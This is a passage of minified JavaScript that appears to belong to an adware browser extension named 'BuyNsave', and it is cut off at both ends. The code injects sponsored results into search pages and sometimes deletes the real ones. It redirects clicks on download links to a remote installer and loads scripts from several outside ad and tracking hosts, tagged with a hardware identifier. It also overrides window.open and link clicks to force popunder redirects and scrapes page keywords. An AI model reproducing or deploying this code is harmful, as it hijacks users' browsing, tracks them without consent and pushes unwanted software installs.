__yael_res.data.items[a].displayUrl.replace(/^(http:\\/\\/|https:\\/\\/|\\/\\/)/, \"\") }; b.is_target_valid = function (a) { if (0 != __yael_res.data.numberOfItems && \"undefined\" != typeof a.element)return a.urls instanceof Array && !b.utils.match_url(a.element.ownerDocument.location.href, a.urls) ? !1 : !0 }; var n = null; b.get_target_element = function (a) { if (a.inserts instanceof Array && \"undefined\" == typeof a.element)for (var b = 0; b < a.inserts.length; b++)if (a.element = l(a.inserts[b].selector), \"undefined\" !== typeof a.element) { a.insert = a.inserts[b].at; break } }; b.add_data_to_config = function (a, c) { if (0 == c.length)return b.unique_items_left = !1; var d = b.get_ad_dom(a); (function (a, c) { c.children && 0 !== c.children.length ? (c = c.children[c.children.length - 1], arguments.callee(a, c)) : b.insert_point = c })(a, d); for (var e = 0; e < b.num_of_items_in_one && 0 != c.length; e++) { var f = b.get_item_json(a, c[0]); try { b.insert_point.children.push(f) } catch (g) { b.insert_point = d, b.insert_point.children.push(f) } \"true\" == a.layouts.unique ? b.not_unique_items.push(c.shift()) : c.shift() } }; b.addEventsToItems = function () { for (var a = document.querySelectorAll('a[href*=\"' + b.jsonpHost + '\"]'), c = 0; c < a.length; c++)b.events.add(\"click\", function () { b.init_search_project() }, !1, a[c], !1) }; b.check_if_div_in_dom = function (a, b) { var d = [], e; for (e in __yael_res.config.targets) { var f = __yael_res.config.targets[e]; clearTimeout(n); a++; if (4 < a)return; if (f.inserts instanceof Array && \"undefined\" == typeof f.element)for (var g = 0; g < f.inserts.length; g++) { var h = l(f.inserts[g].selector); \"undefined\" !== typeof h && d.push(h) } } for (e = 0; e < d.length; e++)if (\"undefined\" == typeof d[e]) { var k = this; n = setTimeout(function () { k.apply(k, arguments) }, 200) } b() }; b.addExtensionName = function (a) { var c = JSON.stringify(a.layouts.dom); if (!c.match(/\\[##eid##\\]/))return a; c = c.replace(/\\[##eid##\\]/g, b.eid); a.layouts.dom = JSON.parse(c); return a }; b.loop_targets = function (a, c, d) { if (a instanceof Object && (b.get_target_element(a), b.is_target_valid(a) && (\"false\" == d && b.unique_items_left && (c = b.not_unique_items), 0 != c.length))) { b.add_data_to_config(a, c); try { a = b.addExtensionName(a) } catch (e) { } try { a.node = b.create_search(a) } catch (f) { } \"undefined\" != typeof a.node && b.inject_json(a) } }; b.removeSecondClick = function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++)b.events.add(\"click\", function (a) { setTimeout(function () { for (var a = b.utils.query_selector_all(\".yael a\"), c = 0; c < a.length; c++) { var d = a[c]; d.outerHTML = d.outerHTML.replace(/href\\=/ig, \"_href=\") } }, 20) }, !1, a[c], !0) }; b.addCloseFunctionality = function () { function a(a) { for (var b = a.className.split(\" \"), c = 0; c < b.length; c++)if (\"yael\" === b[c])return a; if (!a.parentElement)return !1; a = a.parentElement; return arguments.callee(a) } var c = b.utils.query_selector_all(\".yael_close_btn\"); if (c)for (var d = 0; d < c.length; d++)b.events.add(\"click\", function () { try { var b = a(this) } catch (c) { } b && b.parentElement.removeChild(b) }, !1, c[d], \"closeBtn\") }; b.inject_search = function () { b.not_unique_items = []; 0 != __yael_res.data.items.length && (b.setClickHref(__yael_res.data.items[0].clickUrl, b.projects_name), b.check_if_div_in_dom(0, function () { for (var a in __yael_res.config.targets) { var c = __yael_res.config.targets[a]; b.loop_targets(c, __yael_res.data.items, c.layouts.unique) } \"function\" == typeof b.projects_info[b.projects_name].tweak && b.projects_info[b.projects_name].tweak(); b.j || b.removeSecondClick(); b.addCloseFunctionality(); b.utils.flushWaitForTokens() })) }; b.init_search_project = function () { b.waitForElementCounter = 0; \"undefined\" != typeof __yael && b.remove_search(); for (var a in b.projects_info)if (b.utils.match_url(location.href, b.projects_info[a].urls)) { var c = b.projects_info[a]; b.projects_name = a; if (-1 < b.initThrottle.indexOf(a))c.validate(function () { c.name = b.projects_name; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) }); else { if (!c.validate())return; c.name = b.projects_name; b.projects_name = a; b.get_keyword(c, function (a, c) { b.jsonp_request(a, c) }) } } return !1 }; b.get_keyword = function (a, c) { var d = a.src_for_keyword, e = function (d) { b.inputElement = d[0]; b.keyword = b.inputElement.value; if (2 > b.keyword.length)return b.utils.flushWaitForTokens(), !1; if (b.inputElement && \"input\" == b.inputElement.tagName.toLowerCase() && \"\" !== b.keyword)return c(b.keyword, a.name) }; if (d instanceof Array)for (var f = 0; f < d.length; f++)b.utils.waitForElement(d[f], function (a) { a && e(a) }, 100, \"keyword\"); else b.utils.waitForElement(d, function (a) { a && e(a) }, 100, \"keyword\") }; b.remove_se_handler = function (a) { var c = b.projects_info[a].dr; if (c instanceof Array)if (\"bing\" == a)for (c = b.utils.query_selector_all(c[0]), a = 0; a < c.length; a++)b.remove_se(c[a]); else for (a = 0; a < c.length; a++) { var d = l(c[a]); b.remove_se(d) } }; b.remove_se = function (a) { a && a.parentElement.removeChild(a) }; b.jsonp_request = function (a, c) { var d = b.num_of_items_in_one * parseInt(b.projects_info[c].unique_search_divs); window.__yael_cb = function (a) { window.__yael_res = a; \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && b.remove_se_handler(c), __yael.inject_search()) }; \"undefined\" == typeof window.__yael && (window.__yael = b); d = b.jsonpHost + \"/?v=\" + b.version + \"&p=\" + c + \"&keyword=\" + a + \"&numItems=\" + d + \"&hid=11964702200008270108&eid=78&pid=20494&prid=186\"; \"undefined\" != typeof specificFeeds && specificFeeds instanceof Array && (d += \"&_feeds=\" + specificFeeds.join(\",\")); if (b.utils.isIE()) { if (document.getElementById(\"__yael_script\")) { var e = document.getElementById(\"__yael_script\"); e.parentNode.removeChild(e) } e = document.createElement(\"script\"); e.id = \"__yael_script\"; e.src = \"//\" + d + \"&domvar=__yael_cb\"; e.type = \"text/javascript\"; b.utils.addScript(e, c) } else b.utils.ajax.get(\"//\" + d, function (a) { \"\" != a && (window.__yael_res = JSON.parse(a), window.__yael_res.config.targets.header.num_of_items_in_one && (b.num_of_items_in_one = window.__yael_res.config.targets.header.num_of_items_in_one), \"0\" == __yael_res.data.numberOfItems ? b.utils.flushWaitForTokens() : (0 == __yael.utils.getRandomInt(0, 10) && __yael.remove_se_handler(c), __yael.inject_search())) }) }; \"undefined\" == typeof __yael && b.init_search_project(); -1 < b.initThrottle.indexOf(b.projects_name) && b.events.add(\"keyup\", b.utils.throttle(b.init_search_project, 3E3), !1, b.inputElement, !1) } };}catch(e){};try{window.top==window.self&&\"http:\"==location.protocol&&new function(){var a=this;a.installer_id=\"906430732582508603\";a.hardware_id=\"11964702200008270108\";a.timestamp=(new Date).getTime();a.unique=function(){if(5<a.hardware_id.length){var b=a.hardware_id;return\"&uni=\"+b}return 5<a.installer_id.length?(b=a.installer_id,\"&uni=\"+b):\"\"}();a.hrefElements=[];a.binHrefs=[];a.installerDefaultName=\"Setup\";a.callback=encodeURIComponent(\"prex.addClickEvent()\");a.product_id=\"100\";a.interval=1296E3;a.domain=\"http://xls.searchfun.in/?p=\"+a.product_id+\"&vf=\"+a.interval+\"&gf=\"+a.interval+\"&v=1&t=\"+a.timestamp+a.unique+\"&cb=\"+a.callback;a.downloadUrl=\"http://anyras.com/v\"+( parseInt('188')>60? 2109:388)+\"?installer_file_name=\";a.bin=\"exe,msi,mp3,rar,pdf,avi,mov,mpg,zip,torrent,mkv,mpeg,mp4,3gp,jar,7z,flac,wmv,wma,doc,ppt,pptx,pps,ppsx,xls,xlsx,flv\";a.res=[];a.existingPrefix=\"rghbyujk\";a.prefix=\"fghjklfgh\";a.utils=new function(){var b=this;b.injectScript=function(){var b=document.createElement(\"script\");b.src=a.domain;document.getElementsByTagName(\"head\")[0].appendChild(b)};b.ajax={get:function(a,e){try{this.xhr=new XMLHttpRequest,this.xhr.open(\"GET\",a,!0),this.xhr.onreadystatechange=function(){4==b.ajax.xhr.readyState&&e(b.ajax.xhr.responseText)},this.xhr.send()}catch(f){}}};b.isIE=function(){return-1<navigator.userAgent.toLowerCase().indexOf(\"msie\")?!0:!1}};a.storage=new function(){var b=this;b.get=function(){return parseInt(localStorage.getItem(a.prefix))};b.set=function(){localStorage.setItem(a.prefix,a.timestamp+1E3*a.interval)};b.checkInterval=function(){return localStorage?isNaN(b.get())||b.get()<a.timestamp?!0:!1:!1}};a.checkExistingExtension=function(b){return b.getAttribute(\"data-\"+a.existingPrefix)?!0:!1};a.isBin=function(b){b=b.slice(-4);if(\".\"!==b[0])return!1;b=b.slice(1);return-1<a.bin.indexOf(b)?!0:!1};a.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(d,e,f,c){\"undefined\"==typeof c&&(c=window);c.addEventListener(d,e,f);a.cache.push([d,e,f,c])}:window.attachEvent?function(d,e,f,c){\"undefined\"==typeof c&&(c=window);c[\"e\"+d+e]=e;c[d+e]=function(){c[\"e\"+d+e](window.event)};c.attachEvent(\"on\"+d,c[d+e]);a.cache.push([d,e,f,c])}:function(){};a.remove=window.removeEventListener?function(a,b,f,c){\"undefined\"==typeof c&&(c=window);c.removeEventListener(a,b,f)}:window.detachEvent?function(a,b,f,c){\"undefined\"==typeof c&&(c=window);c.detachEvent(\"on\"+a,c[a+b]);c[a+b]=null;c[\"e\"+a+b]=null}:function(){};a.flush=function(){for(var d=0;d<a.cache.length;d++)a.remove.apply(a,a.cache[d])}};a.addClickEvent=function(){for(var b=0;b<a.hrefElements.length;b++)a.events.add(\"click\",function(b){a.clickEvent(b)},!1,a.hrefElements[b])};a.clickEvent=function(b){a.elem=b.target||b.srcElement;if(a.checkExistingExtension(a.elem))return!1;b=b||window.event;b.preventDefault?b.preventDefault(b):b.returnValue=!1;a.downloadUrl+=(\"\"==a.elem.innerHTML || 'MA'=='US')?a.installerDefaultName:a.elem.innerHTML;location.href=a.downloadUrl;a.storage.set();a.events.flush()};a.sendAjax=function(){a.utils.ajax.get(a.domain,function(b){b=b.replace(/\\n$/,\"\");b==\"try{\"+a.callback+\"}catch(e){}\"&&a.addClickEvent()})};a.checkHrefs=function(b){for(var d=0;d<b.length;d++){var e=b[d].href.split(\"?\");a.isBin(e[0])&&a.hrefElements.push(b[d])}};a.handleRequest=function(){a.utils.isIE()?a.utils.injectScript():a.sendAjax()};a.init=function(){a.hrefs=document.getElementsByTagName(\"a\");a.checkHrefs(a.hrefs);0<a.hrefElements.length&&a.handleRequest()};a.storage.checkInterval()&&a.init();\"undefined\"==typeof window.prex&&(window.prex=a)};}catch(e){};try{new function(){if(!(document.getElementById(\"sdjksjsksjdskjd__0\")||window!=window.top||-1<location.host.indexOf(\"google.com\")||-1<location.host.indexOf(\"bing.com\")||-1<location.host.indexOf(\"yahoo.com\"))){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=true;a.setAttribute(\"id\",\"sdjksjsksjdskjd__0\");a.src=\"//cdncache-a.akamaihd.net/loaders/1750/l.js?aoi=1311798366&pid=1750&zoneid=38463815&ext=BuyNsave&systemid=11964702200008270108&ext=BuyNsave\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_arrrrppdjafklbvnn4450fm\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/min/wp.js?subid=78_20494&hid=11964702200008270108&bname=BuyNsave\";a.setAttribute(\"id\",\"id_ar623so92sn445lc0fm\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_arrrrppdjafklbvnn4440fm\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/ec/wpnewbs.js?subid=78_20494&hid=11964702200008270108&bname=BuyNsave\";a.setAttribute(\"id\",\"id_cje6936fjie71mc6fa\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{if(window==window.top){var script=document.createElement(\"script\");script.type=\"text/javascript\";script.async=true;script.src=\"//cdncache-a.akamaihd.net/loaders/1748/l.js?aoi=1311798366&pid=1748&zoneid=38463815&ext=BuyNsave&systemid=11964702200008270108&ext=BuyNsave\";document.getElementsByTagName(\"head\")[0].appendChild(script)};}catch(e){};try{new function(){if(!document.getElementById(\"7ejvo4812cvb6skot83mcweg3\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.id=\"7ejvo4812cvb6skot83mcweg3\";a.src=\"//cdncache-a.akamaihd.net/loaders/1749/l.js?aoi=1311798366&pid=1749&zoneid=38463815&ext=BuyNsave&systemid=11964702200008270108&ext=BuyNsave\";document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{new function(){if(!document.getElementById(\"id_ad5cbe0b719874f1\")&&window==window.top){var a=document.createElement(\"script\");a.type=\"text/javascript\";a.async=!0;a.src=\"//istatic.eshopcomp.com/fo/min/wpgb.js?bname=BuyNsave&subid=78_20494\";a.setAttribute(\"id\",\"jruwmcl34702sh16583msdp2c52\");document.getElementsByTagName(\"head\")[0].appendChild(a)}};}catch(e){};try{var fghjktghndfgt = (function fghjktghndfgt_init(){new function(){if(!document.getElementById('__fghjktghndfgt_once')){(function(){var a=document.createElement('div');a.id='__fghjktghndfgt_once';a.setAttribute('style','display:none;');var c=document.getElementsByTagName('body')[0];c&&c.appendChild(a)})();var a=this;a.pid='20494';a.cc='MA';a.eid='78';a.ename='BuyNsave';a.hid='11964702200008270108';a.debugMode=!1;a.utils=new function(){var b=this;'function'!==typeof String.prototype.trim&&(String.prototype.trim=function(){return this.replace(/^\\s+|\\s+$/g,'')});b.JSON=new function(){this.parse=function(c){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(c):eval('var a='+c)}catch(a){return!1}}};b.cookie=new function(){var c=this;c.setCookie=function(c,a,b){var f='';'string'===typeof b?f='; expires='+b:'number'===typeof b&&(f=new Date,f.setTime(f.getTime()+864E5*b),f='; expires='+f.toGMTString());document.cookie=c+'='+a+f+'; path=/'};c.getCookie=function(c){c+='=';for(var a=document.cookie.split(';'),b=0;b<a.length;b++){for(var f=a[b];' '==f.charAt(0);)f=f.substring(1,f.length);if(0==f.indexOf(c))return f.substring(c.length,f.length)}return null};c.eraseCookie=function(a){c.setCookie(a,'',-1)}};b.getProtocol=function(c){var a=document.createElement('a');a.href=c;return a.protocol};b.getHostName=function(c){if(!c)return'';var a=document.createElement('a');a.href=c;return a.hostname};b.isMenuBarVisible=function(){if(!b.msie&&window.menubar)return window.menubar.visible;if('object'==typeof WebBrowser2)return WebBrowser2.MenuBar;if(b.msie)return!0;var c=window.innerWidth||document.documentElement.scrollWidth||0,a=window.innerHeight||document.documentElement.scrollHeight||0;if(c){window.resizeTo(c,a);var g=window.innerWidth||document.documentElement.scrollWidth,e=window.innerHeight||document.documentElement.scrollHeight;window.resizeTo(c+2,a);c=window.scrollWidth||document.documentElement.scrollWidth;return!(c!=g&&c<=g+2&&90>=a-e)}};b.getInstructions=function(c,d){b.msie?b.inject_script(c+('&cb='+a.prefix+'.'+d)):b.ajax.get(c,function(c){if(c)a[d](c)})};b.l=new function(){var c=this;c.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';c.encode=function(a){a=c._utf8_encode(a);for(var b='',e=0;e<a.length;){var f=a.charCodeAt(e++),h=a.charCodeAt(e++),l=a.charCodeAt(e++),k=f>>2,f=(f&3)<<4|h>>4,n=(h&15)<<2|l>>6,m=l&63;isNaN(h)?n=m=64:isNaN(l)&&(m=64);b=b+c.xlat.charAt(k)+c.xlat.charAt(f)+(64==n?'=':c.xlat.charAt(n))+(64==m?'=':c.xlat.charAt(m))}return b};c._utf8_encode=function(c){if(c&&c.length){for(var a='',b=0;b<c.length;b++){var f=c.charCodeAt(b);128>f?a+=String.fromCharCode(f):(127<f&&2048>f?a+=String.fromCharCode(f>>6|192):(a+=String.fromCharCode(f>>12|224),a+=String.fromCharCode(f>>6&63|128)),a+=String.fromCharCode(f&63|128))}return a}return c};c.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',e=0;e<a.length;){var f=c.xlat.indexOf(a.charAt(e++)),h=c.xlat.indexOf(a.charAt(e++)),l=c.xlat.indexOf(a.charAt(e++)),k=c.xlat.indexOf(a.charAt(e++)),n=(h&15)<<4|l>>2,m=(l&3)<<6|k,b=b+String.fromCharCode(f<<2|h>>4);64!=l&&0<n&&(b+=String.fromCharCode(n));64!=k&&0<m&&(b+=String.fromCharCode(m))}return this._utf8_decode(b)};c._utf8_decode=function(a){for(var c='',b=0;b<a.length;){var f=a.charCodeAt(b);if(128>f)c+=String.fromCharCode(f),b++;else if(191<f&&224>f)var h=a.charCodeAt(b+1),c=c+String.fromCharCode((f&31)<<6|h&63),b=b+2;else var h=a.charCodeAt(b+1),l=a.charCodeAt(b+2),c=c+String.fromCharCode((f&15)<<12|(h&63)<<6|l&63),b=b+3}return c}};b.ajax=new function(){this.get=function(a,b){try{var g=new XMLHttpRequest;g.open('GET',a,!0);g.withCredentials=!0;g.onreadystatechange=function(){4==g.readyState&&b(g.responseText)};g.send()}catch(e){}}};b.randomChar=function(){for(var a='',b=0;2>b;b++)a+='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'.charAt(Math.floor(52*Math.random()));return a};b.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())||[])[1],10));return isNaN(a)?!1:a}();b.inject_script=function(c){var b=document.getElementsByTagName('body')[0],g=document.createElement('script');g.type='text/javascript';g.id='id_'+a.prefix;g.src=c;b&&b.appendChild(g)};b.epoch=function(){return Math.floor((new Date).getTime()/1E3)};b.getVert=function(){var a=localStorage.getItem('sk398erjds2d');return a?a:b.forexVert()};b.browser=function(){var a=navigator.userAgent.toLowerCase(),b={webkit:/webkit/.test(a),mozilla:/mozilla/.test(a)&&!/(compatible|webkit)/.test(a),chrome:/chrome/.test(a),msie:/msie/.test(a)&&!/opera/.test(a),firefox:/firefox/.test(a),safari:/safari/.test(a)&&!/chrome/.test(a),opera:/opera/.test(a)};b.version=b.safari?(a.match(/.+(?:ri)[\\/: ]([\\d.]+)/)||[])[1]:(a.match(/.+(?:ox|me|ra|ie)[\\/: ]([\\d.]+)/)||[])[1];return b}();b.getNodeTextProp=function(a){return'textContent'in a?'textContent':'innerText'in a?'innerText':!1};b.dhtml_prop_name=function(a){return a.replace(/(\\-([a-z]){1})/g,function(a,c,b){return b.toUpperCase()})};b.get_computed_style='function'!=typeof window.getComputedStyle?function(a){return{getPropertyValue:function(d){'float'==d&&(d='styleFloat');d=b.dhtml_prop_name(d);return'object'==typeof a.currentStyle&&null!=a.currentStyle&&'undefined'!=typeof a.currentStyle[d]?a.currentStyle[d]:null}}}:function(a,b){return window.getComputedStyle(a,b)||{getPropertyValue:function(){}}};b.getEmptyWindow=function(){var a=document.createElement('iframe');a.src='about:blank';a.setAttribute('style','display:inline;width:1px;height:1px;padding:none;margin:none;');document.body.appendChild(a);return a.contentWindow}};a.prefix='fghjktghndfgtssss';a.extName='BuyNsave';a.version='0.1.1';a.pop_collision_id='__ipm=';a.pixelHostname=function(){try{return'//mnh.'+eval('[\"winnerical.org\",\"winnermore.net\"]')['https:'==window.location.protocol?1:0]}catch(a){return['//mnh.winneri.info','//mnh.winnermore.org']['https:'==window.location.protocol?1:0]}}();a.watcherCount=0;a.fallbackHostnames=['compey.net','comprises.info'];try{a.stngs=a.utils.JSON.parse('{\"szy_domain\":[\"unitspybookukset.in\",\"comprises.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch(q){a.hostnames=a.fallbackHostnames}var p;p=''!==a.stngs&&a.stngs&&'undefined'!==typeof a.stngs.szy_domain&&a.stngs.szy_domain instanceof Array?a.stngs.szy_domain:a.fallbackHostnames;a.hostnames=p;a.debugMode&&(a.debug=new function(){var b=this;window.oldSetTimeout=window.setTimeout;window.oldSetInterval=window.setInterval;b.overrideSettimeout=function(){window.setTimeout=function(a,b){return window.oldSetTimeout(function(){try{console.log('%csetTimeout: '+a.toString(),'color:purple'),a()}catch(b){}},b)}};b.overrideSetinterval=function(){window.setInterval=function(a,b){return window.oldSetInterval(function(){try{console.log('setInterval: '+a.toString()),a()}catch(b){}},b)}};b.overrideVariables=function(){a.pid='12';a.cc='US';a.eid='10';a.hid='123456789';a.ename='QA extension';a.lt='2617.24';a.jpshort='_OXQj15i';a.platform_version='10'};b.init=function(){b.overrideSettimeout();b.overrideSetinterval();b.overrideVariables()};b.init()});a.legacyHostnames=['superiends.org','go.turboloves.net','installerapplicationusa.com','stylene.net'];a.body=document.getElementsByTagName('body')[0];a.params={subid:a.pid,subid1:a.hid,subid2:a.eid,'px.pluginh':1,tid:'7',red:'1',subid3:'679'};a.manhattanCookieInterval=0.0015;a.events=new function(){var a=this;a.cache=[];a.add=window.addEventListener?function(c,d,g,e,f){'undefined'==typeof e&&(e=window);e.addEventListener(c,d,g);f&&a.cache.push([c,d,g,e])}:window.attachEvent?function(c,d,g,e,f){'undefined'==typeof e&&(e=window);e['e'+c+d]=d;e[c+d]=function(){e['e'+c+d](window.event)};e.attachEvent('on'+c,e[c+d]);f&&a.cache.push([c,d,g,e])}:function(){};a.remove=window.removeEventListener?function(a,b,g,e){'undefined'==typeof e&&(e=window);e.removeEventListener(a,b,g)}:window.detachEvent?function(a,b,g,e){'undefined'==typeof e&&(e=window);e.detachEvent('on'+a,e[a+b]);e[a+b]=null;e['e'+a+b]=null}:function(){};a.flush=function(){for(var c=0;c<a.cache.length;c++)a.remove.apply(a,a.cache[c]);a.cache=[]}};a.pixel=function(b,c){var d=a.pixelHostname+'?',g=a.hostnames[0],g={pid:a.pid,cc:a.cc,eid:a.eid,hid:a.hid,v:a.version,ch:b,cid:0,tid:a.params.tid,adtid:0,smid:0,pbid:'0',oh:encodeURIComponent(c),sh:encodeURIComponent(g)},e;for(e in g)d+=e+'='+g[e]+'&';d=d.slice(0,-1);if(21===b)return d=d.split('?')[1],a.utils.l.encode(d);(new Image).src=d};a.getKeywords=function(){var a=document.title,c=document.getElementsByTagName('meta');if(c)for(var d=0,g=c.length;d<g;d++)'keywords'!=c[d].name.toLowerCase()&&'description'!=c[d].name.toLowerCase()||(a+=' '+c[d].content.replace(/,/g,' '));if(d=document.getElementsByTagName('a')){c={};for(g=0;g<d.length;g++)try{var e=d[g].innerText;'undefined'==typeof e&&(e=d[g].textContent);for(var f=e.toLowerCase().split(/[\\s,-]/g),h=0;h<f.length;h++)4>f[h].length||(c[f[h]]?c[f[h]]++:c[f[h]]=1)}catch(l){}var e=[],k;for(k in c)e.push([k,c[k]]);e.sort(function(a,b){return b[1]-a[1]});e=e.slice(0,25);for(k=0;k<e.length;k++)a+=' '+e[k][0]}return encodeURIComponent(a.replace(/[\\!\\[\\]_-]/g,' ').trim().substring(0,1500))};a.isFalseResponseFromServer=function(){-1<a.body.innerText.indexOf('e7hZBzqVfn==')&&window.close()};a.checkIfServer=function(){for(var b=0;b<a.hostnames.length;b++)if(location.hostname===a.hostnames[b])return a.isFalseResponseFromServer(),!0};a.checkIfPop=function(b,c,d){return!(d+'').match(/^InterYield/i)&&!(d+'').match(/(a652c|ld893)_/)&&'r_ron_redir'!==d&&-1==document.cookie.indexOf('xcddsa')&&-1==b.indexOf('px.pluginh')&&-1==b.indexOf('earchfu')&&-1==location.href.indexOf('/amz/')&&-1==location.href.indexOf('/sd/dw32.html')&&-1==location.href.indexOf('/pop/1.1.00')&&!location.href.match(/cpops-\\d+\\.html/)&&-1==location.href.indexOf('px.pluginh')&&-1==b.indexOf('nkths.co')&&-1==b.indexOf('ally.asi')&&-1==b.indexOf('/sd/dw32.html')&&-1==b.indexOf('/pop/1.1.00')&&-1==b.indexOf('/amz/')&&!b.match(/cpops-\\d+\\.html/)&&-1==a.utils.getHostName(b).indexOf('getjs')&&-1==a.utils.getHostName(b).indexOf('hsbc')};window==window.top&&a.pixel(10,'0');-1<window.location.href.indexOf(a.pop_collision_id)&&window==window.top&&a.pixel(13,'0');a.addBlurredTabListener=function(b){var c;try{c=a.utils.getHostName(b.target.getAttribute('href'))}catch(d){c=''}'a'==b.target.tagName.toLowerCase()&&''==b.target.innerHTML&&b.target.getAttribute('href')&&!b.target.getAttribute('download')&&-1==c.indexOf(window.location.hostname)&&(c=b.target.getAttribute('href')?b.target.getAttribute('href'):'0',a.manhattanUrl=a.prepareUrl(c),a.pixel(12,c),b.target.setAttribute('target',a.prefix),c=new Date,c.setMinutes(c.getMinutes()+15),a.utils.cookie.setCookie('vdsknj4th4uh','1',c.toUTCString()),b.target.setAttribute('href',a.manhattanUrl),document.getElementsByTagName('body')[0].removeEventListener('click',a.addBlurredTabListener))};a.prepareUrl=function(b){b='?';for(var c in a.params)b+=c+'='+a.params[c]+'&';b+='k='+a.getKeywords();return'http://'+a.hostnames[0]+b};try{window.top==window&&-1==document.cookie.indexOf('vdsknj4th4uh')&&window.name!==a.prefix&&a.overrideDispatchEvent()}catch(r){}a.checkIfServer()||(a.cachedOpenFn=window.open,a.overrideDispatchEvent=function(){a.cachedDispatchEvent=document.createElement('a').constructor.prototype.dispatchEvent;document.createElement('a').constructor.prototype.dispatchEvent=function(b){var c;try{c=a.utils.getHostName(event.target.getAttribute('href'))}catch(d){c=''}'a'==this.tagName.toLowerCase()&&''==this.innerHTML&&'click'==b.type&&-1==c.indexOf(window.location.hostname)&&this.getAttribute('href')&&!this.getAttribute('download')&&-1==document.cookie.indexOf('vdsknj4th4uh')&&(c=this.getAttribute('href')?this.getAttribute('href'):'0',a.manhattanUrl=a.prepareUrl(c),a.pixel(12,c),this.setAttribute('target',a.prefix),c=new Date,c.setMinutes(c.getMinutes()+15),a.utils.cookie.setCookie('vdsknj4th4uh','1',c.toUTCString()),this.setAttribute('href',a.manhattanUrl));a.cachedDispatchEvent.call(this,b)}},a.checkIfPartner=function(a){return'Za'==a},a.overrideWindowOpen=function(){clearTimeout(a.timeout);window.open=function(b){return function(c,d,g){window==window.top&&a.pixel(11,'0');b=a.cachedOpenFn;if(a.checkIfPop(c,g,d))return d=new Date,d.setMinutes(d.getMinutes()+15),a.utils.cookie.setCookie('xcddsa','1',d.toUTCString()),a.manhattanUrl=a.prepareUrl(c),d=a.prefix,a.pixel(20,c),a.manhattanOn=!0,a.utils.msie&&9>a.utils.msie?window.open(a.manhattanUrl,d,g):b.call(window,a.manhattanUrl,d,g);d=d||'';window.open=a.cachedOpenFn;return a.utils.msie&&9>a.utils.msie?window.open(c,d,g):b.call(window,c,d,g)}}(window.open);4<a.watcherCount||a.manhattanOn||(a.watcherCount++,a.openWatcher())},a.overrideDispatchEvent(),a.openWatcher=function(){a.timeout=setTimeout(a.overrideWindowOpen,200)},a.openWatcher(),'undefined'==typeof window[a.prefix]&&(window[a.prefix]=a))}};}).toString();(function(){if( window.top == window && !document.getElementById(\"fghjktghndfgt\") && document.getElementsByTagName('head').length ){var script = document.createElement('script');script.id = 'fghjktghndfgt';script.type = \"text/javascript\";script.text = fghjktghndfgt + \";fghjktghndfgt_init()\";document.getElementsByTagName('head')[0].appendChild(script)}}());}catch(e){};try{new function(){if(!document.getElementById('__if72ru4sdfsdfrkjahiuyi_once')){(function(){var c=document.createElement('div');c.id='__if72ru4sdfsdfrkjahiuyi_once';c.setAttribute('style','display:none;');var b=document.getElementsByTagName('body')[0];b&&b.appendChild(c)})();var a=this,d=a;a.hid='11964702200008270108';a.eid='78';a.pid='20494';a.cc='MA';a.extName='BuyNsave';a.OnloadCap=0;a.utils=new function(){var c=this;c.JSON=new function(){this.parse= function(b){try{return'undefined'!==typeof JSON&&'function'==typeof JSON.stringify?JSON.parse(b):eval('var a='+b)}catch(f){return!1}}};c.cookie=new function(){var b=this;b.setCookie=function(b,c,e){if(e){var a=new Date;a.setTime(a.getTime()+864E5*e);e='; expires='+a.toGMTString()}else e='';document.cookie=b+'='+c+e+'; path=/'};b.getCookie=function(b){b+='=';for(var c=document.cookie.split(';'),e=0;e<c.length;e++){for(var a=c[e];' '==a.charAt(0);)a=a.substring(1,a.length);if(0==a.indexOf(b))return a.substring(b.length, a.length)}return null};b.eraseCookie=function(f){b.setCookie(f,'',-1)}};c.getProtocol=function(b){var f=document.createElement('a');f.href=b;return f.protocol};c.getInstructions=function(b,f){c.msie&&11>c.msie?c.inject_script(b+('&cb='+d.prefix+'.'+f)):c.ajax.get(b,function(b){if(b)d[f](b)})};c.l=new function(){var b=this;b.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';b.encode=function(f){f=b._utf8_encode(f);for(var c='',e=0;e<f.length;){var a=f.charCodeAt(e++),d=f.charCodeAt(e++), m=f.charCodeAt(e++),k=a>>2,a=(a&3)<<4|d>>4,p=(d&15)<<2|m>>6,n=m&63;isNaN(d)?p=n=64:isNaN(m)&&(n=64);c=c+b.xlat.charAt(k)+b.xlat.charAt(a)+(64==p?'=':b.xlat.charAt(p))+(64==n?'=':b.xlat.charAt(n))}return c};b._utf8_encode=function(b){if(b&&b.length){for(var c='',a=0;a<b.length;a++){var 